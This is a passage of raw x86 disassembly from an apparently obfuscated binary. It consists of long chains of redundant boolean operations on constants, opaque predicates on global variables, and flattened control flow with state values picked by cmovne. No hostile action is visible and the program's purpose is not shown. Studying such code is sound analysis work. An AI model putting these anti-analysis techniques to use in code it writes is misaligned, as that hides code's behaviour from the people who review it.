or edx, ecx
or eax, 0x257dd8f4
xor edx, 0xffffffff
and edx, eax
mov edi, 0xffffffff
xor edi, 0xb5241ab6
and edi, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xb5241ab6
or edi, eax
mov dword [ebp - 0x93c], edi
xor edi, 0xffffffff
xor edi, 0x80000000
and edi, 0x80000000
mov ebx, 0xffffffff
xor ebx, 0xffffffff
and ebx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
or ebx, eax
mov eax, 0xffffffff
xor eax, 0xb5241ab6
mov ecx, ebx
xor ecx, eax
mov eax, dword [ebp - 0x93c]
and ecx, ebx
mov ebx, 0xffffffff
xor ebx, 0xffffffff
xor eax, 0xffffffff
mov dword [ebp - 0x938], eax
mov eax, 0xffffffff
xor eax, 0x9158d91
mov dword [ebp - 0x934], eax
mov eax, dword [ebp - 0x938]
or ebx, eax
mov eax, dword [ebp - 0x934]
or eax, 0x9158d91
xor ebx, 0xffffffff
and ebx, eax
mov dword [ebp - 0x930], ebx
mov eax, edx
and eax, edi
xor edx, edi
or eax, edx
mov dword [ebp - 0x91c], eax
mov edx, ecx
xor edx, 0xffffffff
xor ebx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x2b7db5de
mov eax, edx
and eax, 0x2b7db5de
mov dword [ebp - 0x92c], eax
and ecx, edi
mov eax, ebx
and eax, 0x2b7db5de
mov dword [ebp - 0x924], eax
mov eax, dword [ebp - 0x930]
and eax, edi
mov dword [ebp - 0x928], eax
mov eax, dword [ebp - 0x92c]
or eax, ecx
mov ecx, dword [ebp - 0x928]
mov dword [ebp - 0x920], eax
mov eax, dword [ebp - 0x924]
or eax, ecx
mov ecx, dword [ebp - 0x920]
xor ecx, eax
mov eax, dword [ebp - 0x91c]
or edx, ebx
xor edx, 0xffffffff
or edi, 0x2b7db5de
and edx, edi
or ecx, edx
mov edx, eax
xor edx, 0xffffffff
mov edi, ecx
and edi, edx
xor ecx, 0xffffffff
and eax, ecx
or edi, eax
mov eax, 0xffffffff
xor eax, 0xe24903cf
and eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xe24903cf
or eax, ecx
xor eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
mov dword [ebp - 0x918], eax
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0x66ac0c6
mov ebx, 0xffffffff
xor ebx, 0x66ac0c6
mov eax, ebx
and eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0x66ac0c6
and ebx, 0xffffffff
or ecx, eax
mov eax, dword [ebp - 0x918]
or edx, ebx
xor ecx, edx
xor ecx, 0xffffffff
xor ecx, 0xe24903cf
and ecx, 0xe24903cf
mov edx, eax
and edx, ecx
xor eax, ecx
or edx, eax
mov eax, edi
xor eax, 0xffffffff
mov ecx, esi
xor ecx, eax
and ecx, esi
mov ebx, esi
xor ebx, 0xffffffff
mov eax, edi
and eax, ebx
xor edi, 0xffffffff
and esi, edi
or eax, esi
mov ebx, ecx
xor ebx, 0xffffffff
mov dword [ebp - 0x910], ebx
mov edi, eax
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x974fd614
and ebx, 0x974fd614
mov dword [ebp - 0x914], ebx
and ecx, esi
mov ebx, edi
and ebx, 0x974fd614
and eax, esi
mov dword [ebp - 0x90c], eax
mov eax, dword [ebp - 0x914]
or eax, ecx
mov ecx, dword [ebp - 0x910]
mov dword [ebp - 0x908], eax
mov eax, dword [ebp - 0x90c]
or ebx, eax
mov eax, dword [ebp - 0x908]
xor eax, ebx
or ecx, edi
xor ecx, 0xffffffff
or esi, 0x974fd614
and ecx, esi
or eax, ecx
mov dword [ebp - 0x8fc], eax
mov ebx, edx
xor ebx, 0xffffffff
xor ebx, 0xe24903cf
and ebx, 0xe24903cf
mov eax, 0xffffffff
xor eax, 0xe24903cf
and eax, 0x88a2583d
mov edi, 0xffffffff
xor edi, 0x88a2583d
mov esi, edi
and esi, 0xe24903cf
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0x88a2583d
and edx, edi
or eax, esi
or ecx, edx
xor eax, ecx
mov edx, ebx
xor edx, 0xffffffff
mov edi, eax
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x620656ac
mov ecx, edx
and ecx, 0x620656ac
and ebx, esi
mov dword [ebp - 0x904], ebx
mov ebx, edi
and ebx, 0x620656ac
and eax, esi
mov dword [ebp - 0x900], eax
mov eax, dword [ebp - 0x904]
or ecx, eax
mov eax, dword [ebp - 0x900]
or ebx, eax
mov eax, dword [ebp - 0x8fc]
xor ecx, ebx
or edx, edi
xor edx, 0xffffffff
or esi, 0x620656ac
and edx, esi
or ecx, edx
mov esi, eax
xor esi, 0xffffffff
and esi, 0xc7271ff4
mov edi, 0xffffffff
xor edi, 0xc7271ff4
mov ebx, eax
and ebx, edi
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xc7271ff4
and edi, 0xffffffff
or esi, ebx
or edx, edi
xor esi, edx
mov ebx, 0xffffffff
xor ebx, 0xffffffff
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x57f5f19a
or ebx, esi
or edx, 0x57f5f19a
xor ebx, 0xffffffff
and ebx, edx
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xffffffff
or esi, edx
xor eax, 0xffffffff
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x8604345b
or eax, esi
or edx, 0x8604345b
xor eax, 0xffffffff
and eax, edx
mov esi, ebx
xor esi, 0xffffffff
mov dword [ebp - 0x8f0], esi
mov edi, eax
xor edi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xaeb33bbe
and esi, 0xaeb33bbe
and ebx, edx
mov dword [ebp - 0x8f8], ebx
mov ebx, edi
and ebx, 0xaeb33bbe
and eax, edx
mov dword [ebp - 0x8f4], eax
mov eax, dword [ebp - 0x8f8]
or esi, eax
mov eax, dword [ebp - 0x8f4]
or ebx, eax
mov eax, dword [ebp - 0x8f0]
xor esi, ebx
or eax, edi
xor eax, 0xffffffff
or edx, 0xaeb33bbe
and eax, edx
or esi, eax
mov ebx, esi
xor ebx, 0xffffffff
and ebx, 0x4803253c
mov edx, 0xffffffff
xor edx, 0x4803253c
and esi, edx
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x4803253c
and edx, 0xffffffff
or ebx, esi
or eax, edx
xor ebx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
or eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x7711a2e3
and ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0x7711a2e3
or ecx, edx
mov dword [ebp - 0x8e4], ecx
mov ecx, ebx
xor ecx, 0xffffffff
mov esi, eax
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x65ba73bd
mov edi, ecx
and edi, 0x65ba73bd
and ebx, edx
mov dword [ebp - 0x8ec], ebx
mov ebx, esi
and ebx, 0x65ba73bd
and eax, edx
mov dword [ebp - 0x8e8], eax
mov eax, dword [ebp - 0x8ec]
or edi, eax
mov eax, dword [ebp - 0x8e8]
or ebx, eax
mov eax, dword [ebp - 0x8e4]
xor edi, ebx
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x65ba73bd
and ecx, edx
or edi, ecx
mov edx, eax
and edx, 0x7711a2e3
xor eax, 0x7711a2e3
or edx, eax
mov ecx, edi
xor ecx, 0xffffffff
and ecx, 0x53134b77
mov esi, 0xffffffff
xor esi, 0x53134b77
and edi, esi
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x53134b77
and esi, 0xffffffff
or ecx, edi
or eax, esi
xor ecx, eax
xor edx, 0xffffffff
mov eax, ecx
xor eax, edx
and eax, ecx
mov dword [ebp - 0x54], eax
mov ecx, dword [0x6355c4]
mov eax, dword [0x6355c0]
xor esi, esi
sub esi, 0x9414e3cc
mov edx, ecx
add edx, esi
xor esi, esi
sub esi, 0xfafe7733
add edx, esi
sub edx, 0xd971232a
add edx, 0x9414e3cc
add edx, 0xd971232a
add edx, 0xef177408
sub edx, 0x5f06425f
sub edx, 0xef177408
add edx, 0x8e002f5a
sub edx, 1
sub edx, 0x8e002f5a
sub edx, 0xa8a9cffd
add edx, 0x5f06425f
add edx, 0xa8a9cffd
xor esi, esi
sub esi, 0x80a398d0
sub esi, 0xfafe7733
add esi, 0x80a398d0
sub edx, 0xf56a693
sub edx, esi
add edx, 0xf56a693
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl bh
mov dl, cl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov al, cl
and al, ah
or dl, al
mov ch, bh
xor ch, 0xff
and ch, 0
mov ah, 1
xor ah, 0
mov dh, bh
and dh, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or ch, dh
or al, ah
xor ch, al
mov al, 1
xor al, 1
and al, 1
mov ah, 1
xor ah, 1
and ah, 1
or al, ah
mov ah, dl
and ah, ch
xor dl, ch
or ah, dl
mov dl, 1
xor dl, 1
mov byte [ebp - 0x8db], dl
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
and dl, 0xff
mov bl, ch
and bl, 1
mov byte [ebp - 0x8dd], bl
mov bl, dh
and bl, 0xff
and al, ch
mov byte [ebp - 0x8dc], al
mov al, byte [ebp - 0x8dd]
or dl, al
mov al, byte [ebp - 0x8dc]
or bl, al
mov al, byte [ebp - 0x8db]
xor dl, bl
or al, dh
xor al, 0xff
or ch, 1
and al, ch
or dl, al
mov al, ah
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and ah, ch
or al, ah
xor dl, 0xff
mov ch, al
xor ch, dl
and ch, al
mov dl, cl
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
mov dh, cl
and dh, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dl, dh
or al, ah
xor dl, al
mov bl, 1
xor bl, 1
xor dl, 0xff
mov al, 1
xor al, 1
or bl, dl
or al, 1
xor bl, 0xff
and bl, al
mov dl, 1
xor dl, 1
and dl, 1
mov al, 1
xor al, 1
and al, 1
or dl, al
mov ah, dl
xor ah, 0xff
mov al, cl
xor al, ah
and al, cl
mov byte [ebp - 0x8da], al
mov cl, bh
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
mov al, bh
and al, dh
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or cl, al
mov al, byte [ebp - 0x8da]
or ah, dh
xor cl, ah
xor cl, 0xff
mov dh, 1
xor dh, 1
mov ah, 1
xor ah, 1
or cl, dh
or ah, 1
xor cl, 0xff
and cl, ah
mov byte [ebp - 0x8d7], cl
xor bh, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 1
or bh, dl
or cl, 1
xor bh, 0xff
and bh, cl
mov cl, bl
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov ah, 1
xor ah, 1
mov dl, cl
and dl, 0xff
and bl, ah
mov byte [ebp - 0x8d9], bl
mov bl, dh
and bl, 0xff
and al, ah
mov byte [ebp - 0x8d8], al
mov al, byte [ebp - 0x8d9]
or dl, al
mov al, byte [ebp - 0x8d8]
or bl, al
mov al, byte [ebp - 0x8d7]
xor dl, bl
or cl, dh
xor cl, 0xff
or ah, 1
and cl, ah
or dl, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x8d6], cl
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 0
and cl, 0
and al, ah
mov bl, dh
and bl, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0x8d6]
or bl, bh
xor cl, bl
or al, dh
xor al, 0xff
or ah, 0
and al, ah
or cl, al
mov ah, dl
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
and dl, dh
mov al, cl
xor al, 0xff
and al, 0xff
and cl, dh
or ah, dl
or al, cl
xor ah, al
mov al, ch
xor al, 0xff
mov dl, ah
xor dl, 0xff
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov cl, ch
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x22016953
mov ecx, 0x280ab8d7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x4c0c7f
mov ecx, dword [ebp - 0x50]
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
mov edx, ecx
and edx, esi
or eax, edx
xor eax, 0xffffffff
xor eax, 0x4ea79135
and eax, 0x4ea79135
mov edx, 0xffffffff
xor edx, 0x4ea79135
and edx, 0xc75314ba
mov edi, 0xffffffff
xor edi, 0xc75314ba
mov ebx, edi
and ebx, 0x4ea79135
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0xc75314ba
and edi, 0xffffffff
or edx, ebx
or esi, edi
xor edx, esi
xor ecx, 0xffffffff
mov edi, edx
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xafb00559
or ecx, edi
or esi, 0xafb00559
xor ecx, 0xffffffff
and ecx, esi
mov edi, 0xffffffff
xor edi, 0xffffffff
and edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0xffffffff
or edi, esi
mov ebx, 0xffffffff
xor ebx, 0x4ea79135
mov esi, edi
xor esi, ebx
and esi, edi
mov dword [ebp - 0x990], esi
xor edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xffffffff
mov dword [ebp - 0x994], edx
mov edx, eax
xor edx, 0xffffffff
mov ebx, ecx
xor ebx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xcdc16ab7
mov esi, edx
and esi, 0xcdc16ab7
and eax, edi
mov dword [ebp - 0x99c], eax
mov eax, ebx
and eax, 0xcdc16ab7
mov dword [ebp - 0x998], eax
mov eax, dword [ebp - 0x99c]
and ecx, edi
or esi, eax
mov eax, dword [ebp - 0x998]
or eax, ecx
mov ecx, dword [ebp - 0x994]
xor esi, eax
mov eax, dword [ebp - 0x990]
or edx, ebx
xor edx, 0xffffffff
or edi, 0xcdc16ab7
and edx, edi
or esi, edx
mov edx, eax
and edx, ecx
xor eax, ecx
or edx, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0x3cfc9a44
mov edi, 0xffffffff
xor edi, 0x3cfc9a44
and esi, edi
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0x3cfc9a44
and edx, edi
or eax, esi
or ecx, edx
xor eax, ecx
mov dword [ebp - 0x968], eax
mov edx, 0xffffffff
xor edx, 0x20000000
and edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x20000000
or edx, eax
xor edx, 0xffffffff
xor edx, 0xa11cbb3d
and edx, 0xa11cbb3d
mov edi, 0xffffffff
xor edi, 0xa11cbb3d
and edi, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xa11cbb3d
or edi, eax
mov esi, edi
xor esi, 0xffffffff
xor esi, 0x20000000
and esi, 0x20000000
mov ebx, 0xffffffff
xor ebx, 0xffffffff
and ebx, 0xff9bbf9c
mov ecx, 0xffffffff
xor ecx, 0xff9bbf9c
mov eax, ecx
and eax, 0xffffffff
mov dword [ebp - 0x98c], eax
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xff9bbf9c
mov dword [ebp - 0x988], eax
mov eax, dword [ebp - 0x98c]
and ecx, 0xffffffff
or ebx, eax
mov eax, dword [ebp - 0x988]
or eax, ecx
xor ebx, eax
xor ebx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xa11cbb3d
mov eax, 0xffffffff
xor eax, 0x410e85c
or ebx, ecx
or eax, 0x410e85c
xor ebx, 0xffffffff
and ebx, eax
mov eax, 0xffffffff
xor eax, 0xffffffff
xor edi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xe71330a6
or eax, edi
or ecx, 0xe71330a6
xor eax, 0xffffffff
and eax, ecx
mov ecx, edx
and ecx, esi
xor edx, esi
or ecx, edx
mov edx, ebx
xor edx, 0xffffffff
mov dword [ebp - 0x97c], edx
mov edi, eax
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xb6ce2ead
and edx, 0xb6ce2ead
and ebx, esi
mov dword [ebp - 0x984], ebx
mov ebx, edi
and ebx, 0xb6ce2ead
and eax, esi
mov dword [ebp - 0x980], eax
mov eax, dword [ebp - 0x984]
or edx, eax
mov eax, dword [ebp - 0x980]
or ebx, eax
mov eax, dword [ebp - 0x97c]
xor edx, ebx
or eax, edi
xor eax, 0xffffffff
or esi, 0xb6ce2ead
and eax, esi
or edx, eax
mov esi, ecx
xor esi, 0xffffffff
mov eax, edx
and eax, esi
xor edx, 0xffffffff
and ecx, edx
or eax, ecx
mov dword [ebp - 0x970], eax
mov esi, 0xffffffff
xor esi, 0xa4eab5a5
and esi, 0xd6fc0ea8
mov ecx, 0xffffffff
xor ecx, 0xd6fc0ea8
mov edx, ecx
and edx, 0xa4eab5a5
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xd6fc0ea8
and ecx, 0xffffffff
or esi, edx
or eax, ecx
xor esi, eax
xor esi, 0xffffffff
xor esi, 0x85e9bfce
and esi, 0x85e9bfce
mov ecx, 0xffffffff
xor ecx, 0x85e9bfce
and ecx, 0xae3f3abc
mov edx, 0xffffffff
xor edx, 0xae3f3abc
mov edi, edx
and edi, 0x85e9bfce
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xae3f3abc
and edx, 0xffffffff
or ecx, edi
or eax, edx
xor ecx, eax
mov edi, ecx
xor edi, 0xffffffff
xor edi, 0xa4eab5a5
and edi, 0xa4eab5a5
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
or edx, eax
mov ebx, 0xffffffff
xor ebx, 0x85e9bfce
mov eax, edx
xor eax, ebx
and eax, edx
xor ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov edx, esi
and edx, edi
xor esi, edi
or edx, esi
mov dword [ebp - 0x96c], edx
mov esi, eax
xor esi, 0xffffffff
mov ebx, ecx
xor ebx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xa27f3635
mov edx, esi
and edx, 0xa27f3635
and eax, edi
mov dword [ebp - 0x978], eax
mov eax, ebx
and eax, 0xa27f3635
mov dword [ebp - 0x974], eax
mov eax, dword [ebp - 0x978]
and ecx, edi
or edx, eax
mov eax, dword [ebp - 0x974]
or eax, ecx
mov ecx, dword [ebp - 0x970]
xor edx, eax
mov eax, dword [ebp - 0x96c]
or esi, ebx
mov ebx, dword [ebp - 0x968]
xor esi, 0xffffffff
or edi, 0xa27f3635
and esi, edi
or edx, esi
mov edi, eax
xor edi, 0xffffffff
mov esi, edx
and esi, edi
xor edx, 0xffffffff
and eax, edx
or esi, eax
mov eax, ebx
xor eax, 0xffffffff
and eax, 0xaf531863
mov edi, 0xffffffff
xor edi, 0xaf531863
and ebx, edi
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xaf531863
and edi, 0xffffffff
or eax, ebx
or edx, edi
xor eax, edx
mov dword [ebp - 0x954], eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x3a826875
mov ebx, 0xffffffff
xor ebx, 0x3a826875
mov edi, ecx
and edi, ebx
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0x3a826875
and ebx, 0xffffffff
or eax, edi
mov edi, dword [ebp - 0x954]
or edx, ebx
xor eax, edx
mov dword [ebp - 0x95c], eax
mov edx, 0xffffffff
xor edx, 0x873cac0c
and edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x873cac0c
or edx, eax
xor edi, 0xffffffff
mov ebx, 0xffffffff
xor ebx, 0x873cac0c
mov eax, 0xffffffff
xor eax, 0x6b50d7f2
or edi, ebx
mov ebx, dword [ebp - 0x968]
or eax, 0x6b50d7f2
xor edi, 0xffffffff
and edi, eax
mov eax, edx
xor eax, 0xffffffff
xor ebx, eax
mov eax, dword [ebp - 0x968]
and ebx, eax
mov eax, dword [ebp - 0x95c]
mov dword [ebp - 0x964], ebx
mov ebx, 0xffffffff
xor ebx, 0x873cac0c
xor eax, ebx
mov ebx, dword [ebp - 0x95c]
and eax, ebx
mov dword [ebp - 0x960], eax
xor ecx, 0xffffffff
mov eax, edx
xor eax, 0xffffffff
mov ebx, 0xffffffff
xor ebx, 0x87d13634
or ecx, eax
mov eax, dword [ebp - 0x964]
or ebx, 0x87d13634
xor ecx, 0xffffffff
and ecx, ebx
mov ebx, edi
and ebx, eax
xor edi, eax
mov eax, dword [ebp - 0x960]
or ebx, edi
mov edi, eax
and edi, ecx
xor eax, ecx
mov ecx, dword [ebp - 0x95c]
or edi, eax
mov dword [ebp - 0x958], edi
mov eax, ebx
xor eax, 0xffffffff
and edi, eax
mov eax, dword [ebp - 0x958]
xor eax, 0xffffffff
and ebx, eax
mov eax, dword [ebp - 0x954]
or edi, ebx
mov dword [ebp - 0x940], edi
mov edi, eax
xor edi, 0xffffffff
mov dword [ebp - 0x948], edi
mov ebx, ecx
xor ebx, 0xffffffff
mov dword [ebp - 0x944], ebx
mov ebx, 0xffffffff
xor ebx, 0x9ce12cb3
and edi, 0x9ce12cb3
and eax, ebx
mov dword [ebp - 0x950], eax
mov eax, dword [ebp - 0x944]
and eax, 0x9ce12cb3
mov dword [ebp - 0x94c], eax
mov eax, dword [ebp - 0x950]
and ecx, ebx
or edi, eax
mov eax, dword [ebp - 0x94c]
or eax, ecx
mov ecx, dword [ebp - 0x948]
xor edi, eax
mov eax, dword [ebp - 0x944]
or ecx, eax
mov eax, dword [ebp - 0x940]
xor ecx, 0xffffffff
or ebx, 0x9ce12cb3
and ecx, ebx
or edi, ecx
mov ecx, edi
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov ebx, 0xffffffff
xor ebx, 0xffffffff
and edi, ebx
or ecx, edi
mov edi, edx
and edi, 0x873cac0c
xor edx, 0x873cac0c
or edi, edx
xor ecx, 0xffffffff
xor edi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xbbcdbe58
or ecx, edi
or edx, 0xbbcdbe58
xor ecx, 0xffffffff
and ecx, edx
mov edx, eax
and edx, ecx
xor eax, ecx
or edx, eax
mov eax, esi
xor eax, 0xffffffff
xor eax, 0xa4eab5a5
and eax, 0xa4eab5a5
mov edi, 0xffffffff
xor edi, 0xa4eab5a5
mov ecx, esi
and ecx, edi
xor esi, 0xffffffff
and esi, 0xa4eab5a5
or ecx, esi
mov edi, eax
and edi, ecx
xor eax, ecx
or edi, eax
mov eax, edx
xor eax, 0xffffffff
and eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
mov ecx, edx
and ecx, esi
or eax, ecx
xor eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xffffffff
or esi, ecx
xor edx, 0xffffffff
xor esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x430815b1
or edx, esi
or ecx, 0x430815b1
xor edx, 0xffffffff
and edx, ecx
mov ecx, eax
and ecx, edx
xor eax, edx
or ecx, eax
mov esi, edi
xor esi, 0xffffffff
and esi, 0x9f4096c0
mov edx, 0xffffffff
xor edx, 0x9f4096c0
and edi, edx
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x9f4096c0
and edx, 0xffffffff
or esi, edi
or eax, edx
xor esi, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xc2e1562
mov ebx, 0xffffffff
xor ebx, 0xc2e1562
mov edi, ecx
and edi, ebx
mov edx, esi
xor edx, 0xffffffff
and edx, 0xc2e1562
and esi, ebx
or eax, edi
or edx, esi
xor eax, edx
xor ecx, 0xffffffff
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, 0x16bd9f60
mov ecx, 0x74af91bf
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x4c0c7f
mov ecx, dword [0x6355c4]
mov eax, dword [0x6355c0]
mov edx, ecx
sub edx, 0x68f0b946
sub edx, 0x61cedef6
add edx, 0x68f0b946
sub edx, 0x10514746
sub edx, 0xee8266ce
add edx, 0x10514746
add edx, 0x4aa65765
add edx, 0x61cedef6
sub edx, 0x4aa65765
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xe1e1336a
add esi, edx
xor edx, edx
sub edx, esi
add edx, 0xbc5ccec6
sub edx, 1
sub edx, 0xbc5ccec6
xor esi, esi
sub esi, 0xe1e1336a
add edx, esi
add edx, 0x2b7d4ffc
sub edx, 0x2124d20b
sub edx, 0x2b7d4ffc
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xee8266ce
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x2124d20b
add esi, edx
xor edx, edx
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
cmp eax, 0xa
setl al
mov byte [ebp - 0x9c9], al
mov cl, dl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov al, dl
and al, ah
or cl, al
mov ah, 1
xor ah, 0
xor cl, 0xff
mov al, 1
xor al, 0
or ah, cl
or al, 0
xor ah, 0xff
and ah, al
mov dh, 1
xor dh, 0
and dh, 1
mov al, 1
xor al, 1
and al, 0
or dh, al
mov al, dl
xor al, 0xff
mov ch, dh
xor ch, 0xff
mov cl, 1
xor cl, 1
or al, ch
or cl, 1
xor al, 0xff
and al, cl
mov ch, 1
xor ch, 1
and ch, 1
mov cl, 1
xor cl, 1
and cl, 1
or ch, cl
mov bl, 1
xor bl, 0
mov cl, ch
xor cl, bl
and cl, ch
mov byte [ebp - 0x9d2], cl
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov ch, ah
xor ch, 0xff
mov bh, al
xor bh, 0xff
mov bl, 1
xor bl, 0
mov cl, ch
and cl, 0
and ah, bl
mov byte [ebp - 0x9d4], ah
mov ah, bh
and ah, 0
and al, bl
mov byte [ebp - 0x9d3], al
mov al, byte [ebp - 0x9d4]
or cl, al
mov al, byte [ebp - 0x9d3]
or ah, al
mov al, byte [ebp - 0x9d2]
xor cl, ah
mov ah, byte [ebp - 0x9c9]
or ch, bh
xor ch, 0xff
or bl, 0
and ch, bl
or cl, ch
mov ch, al
and ch, dh
xor al, dh
or ch, al
mov dh, cl
xor dh, 0xff
mov al, ch
and al, dh
xor ch, 0xff
and cl, ch
or al, cl
mov byte [ebp - 0x9b3], al
mov ch, ah
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov al, ah
and al, cl
or ch, al
mov al, 1
xor al, 1
xor ch, 0xff
mov cl, 1
xor cl, 1
or al, ch
or cl, 1
xor al, 0xff
and al, cl
mov ch, 1
xor ch, 1
and ch, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and dh, 1
or ch, bl
or cl, dh
xor ch, cl
xor ch, 0xff
mov cl, ah
xor cl, ch
and cl, ah
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov ah, 1
xor ah, 1
and ah, 1
mov al, 1
xor al, 1
and al, 1
or ah, al
mov al, 1
xor al, 1
xor ah, 0xff
mov cl, 1
xor cl, 0
or al, ah
or cl, 0
xor al, 0xff
and al, cl
mov byte [ebp - 0x9d1], al
mov bl, 1
xor bl, 1
and bl, 1
mov al, 1
xor al, 1
and al, 1
or bl, al
mov cl, bl
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dh, 1
xor dh, 1
and dh, 0
mov bh, 1
xor bh, 0
mov al, bh
and al, 1
mov ah, 1
xor ah, 1
and ah, 0
and bh, 1
or dh, al
mov al, byte [ebp - 0x9d1]
or ah, bh
xor dh, ah
mov bh, 1
xor bh, 1
mov ah, dh
xor ah, bh
and ah, dh
mov byte [ebp - 0x9cd], ah
mov ah, 1
xor ah, 1
xor bl, 0xff
mov dh, 1
xor dh, 0
or ah, bl
or dh, 0
xor ah, 0xff
and ah, dh
mov byte [ebp - 0x9ce], ah
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
mov bh, ah
and bh, 0xff
and al, dh
mov byte [ebp - 0x9d0], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x9cf], al
mov al, byte [ebp - 0x9d0]
and cl, dh
or bh, al
mov al, byte [ebp - 0x9cf]
or al, cl
mov cl, byte [ebp - 0x9ce]
xor bh, al
mov al, byte [ebp - 0x9cd]
or ah, bl
xor ah, 0xff
or dh, 1
and ah, dh
or bh, ah
mov bl, al
xor bl, 0xff
mov byte [ebp - 0x9ca], bl
mov dh, cl
xor dh, 0xff
mov ah, 1
xor ah, 1
and bl, 0xff
and al, ah
mov byte [ebp - 0x9cc], al
mov al, dh
and al, 0xff
mov byte [ebp - 0x9cb], al
mov al, byte [ebp - 0x9cc]
and cl, ah
or bl, al
mov al, byte [ebp - 0x9cb]
or al, cl
mov cl, byte [ebp - 0x9ca]
xor bl, al
mov al, byte [ebp - 0x9c9]
or cl, dh
xor cl, 0xff
or ah, 1
and cl, ah
